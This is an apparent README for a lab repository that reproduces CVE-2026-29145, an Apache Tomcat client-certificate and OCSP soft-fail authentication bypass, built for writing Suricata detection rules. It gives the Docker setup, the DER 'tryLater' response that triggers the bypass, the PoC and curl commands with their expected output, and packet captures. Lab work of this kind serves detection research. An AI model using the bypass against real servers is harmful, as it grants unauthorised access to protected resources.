针对CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP软失败绕过的可复现PoC环境,包含利用脚本、模拟OCSP响应器和Suricata检测规则。
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass 完整复现环境、利用流量包,以及 Suricata 检测规则编写素材。
仅供授权安全研究与检测规则开发。请勿用于未授权系统。
| 项目 | 说明 |
|---|---|
| CVE | CVE-2026-29145 |
| 组件 | Apache Tomcat / Tomcat Native |
| 类型 | 认证绕过(mTLS / CLIENT_CERT) |
| CVSS | 9.1(NVD)/ Moderate(Apache) |
| 影响版本 | Tomcat 10.1.0-M7–10.1.52、9.0.83–9.0.115、11.0.0-M1–11.0.18;Native 2.0.0–2.0.13 等 |
| 修复版本 | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+;Native 2.0.14+ |
当 Tomcat 启用 CLIENT_CERT 与 OCSP,并配置 ocspSoftFail=false(硬失败) 时,部分 OCSP 失败路径(尤其是响应状态 tryLater)仍未按硬失败处理,导致本应拒绝的客户端证书被接受,受保护资源可被访问。
官方修复(例:Tomcat commit fe26667c)将 FFM 路径对 OCSP TRY_LATER 的处理与 Tomcat Native 对齐。
在 Tomcat 10.1.52 + Tomcat Native 2.0.12 上:
| OCSP 行为 | ocspSoftFail | 结果 |
|---|---|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — 绕过成功 |
| HTTP 500 | false | TLS 拒绝(硬失败生效) |
| OCSP 超时 | false | TLS 拒绝 |
| 任意失败 | true | 200(预期 soft-fail) |
关键点:必须返回 RFC 6960 的 tryLater,仅 HTTP 500 不足以触发本环境下的绕过。
CVE-2026-29145-Everything/
├── README.md # 本文件
├── REPRODUCTION.md # 详细复现笔记与 Suricata 提示
├── docker-compose.yml # 脆弱 Tomcat + Mock OCSP
├── poc_exploit.py # 利用/检测脚本(exit 10 = 脆弱)
├── simple_proxy_fail.py # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh # 生成 CA / 服务端 / 客户端证书(含 OCSP AIA)
├── capture_exploit.sh # 一键利用并抓包
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # CLIENT-CERT 用户映射
│ ├── ROOT/ # 官方镜像缺省 ROOT 的最小补丁
│ └── protected/ # 受保护资源 + web.xml (CLIENT-CERT)
└── pcaps/ # ★ 已抓取的利用流量(写规则用)
├── CVE-2026-29145-mtls-and-ocsp.pcap # 主包:mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # 仅 OCSP 明文
├── CVE-2026-29145-mtls-only.pcap # 仅 8443 TLS
└── exploit_response.html # 利用成功响应快照
证书私钥目录 certs/ 默认被 .gitignore 忽略,需本地生成。
pip install -r requirements.txt 或系统 python3-requests)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. 生成证书(AIA 指向 Docker 内 OCSP 服务名)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. 启动环境(默认 OCSP_MODE=try_later)
docker compose up -d
# 等待 healthy
docker compose ps
# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱;0 = 不可利用/已修补
手动验证:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap
仓库中 已附带 一次成功利用的 pcap,可直接用于 Suricata 规则验证,无需重新抓包。
# tryLater — CVE 触发路径(默认)
OCSP_MODE=try_later docker compose up -d --force-recreate
# HTTP 500 失败(本环境硬失败会拒绝)
OCSP_MODE=fail docker compose up -d --force-recreate
# 模拟 OCSP 成功(body 非真实 DER,仅测连通)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
重要: 8443 是 TLS 1.3 加密 的 mTLS,直接用 Wireshark 打开会像乱码。
8888 的 OCSP 是明文 HTTP,写规则应优先看 OCSP。
完整说明见 pcaps/README.md。
| 文件 | 说明 |
|---|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | 可解密的完整会话 |
pcaps/CVE-2026-29145-ocsp-only.pcap | 明文 OCSP(无需密钥) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | OCSP HTTP 易读文本 |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | 解密后业务 HTTP 文本 |
rules/cve-2026-29145.rules | 示例 Suricata 规则 |
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark:Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
详细说明见 REPRODUCTION.md 与 pcaps/README.md。
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
应用层 CLIENT-CERT 见 tomcat/protected/WEB-INF/web.xml。
ocspSoftFail 策略与 OCSP 可达性;对不可达/tryLater 行为做回归测试./cleanup.sh
# 或
docker compose down -v
CVE-2026-29145-Tester(本仓库在可复现配置与 tryLater 路径上做了加固与完整记录)本项目仅用于教育、授权渗透测试与入侵检测规则研发。使用者须确保对目标系统拥有合法授权。作者不对任何滥用行为负责。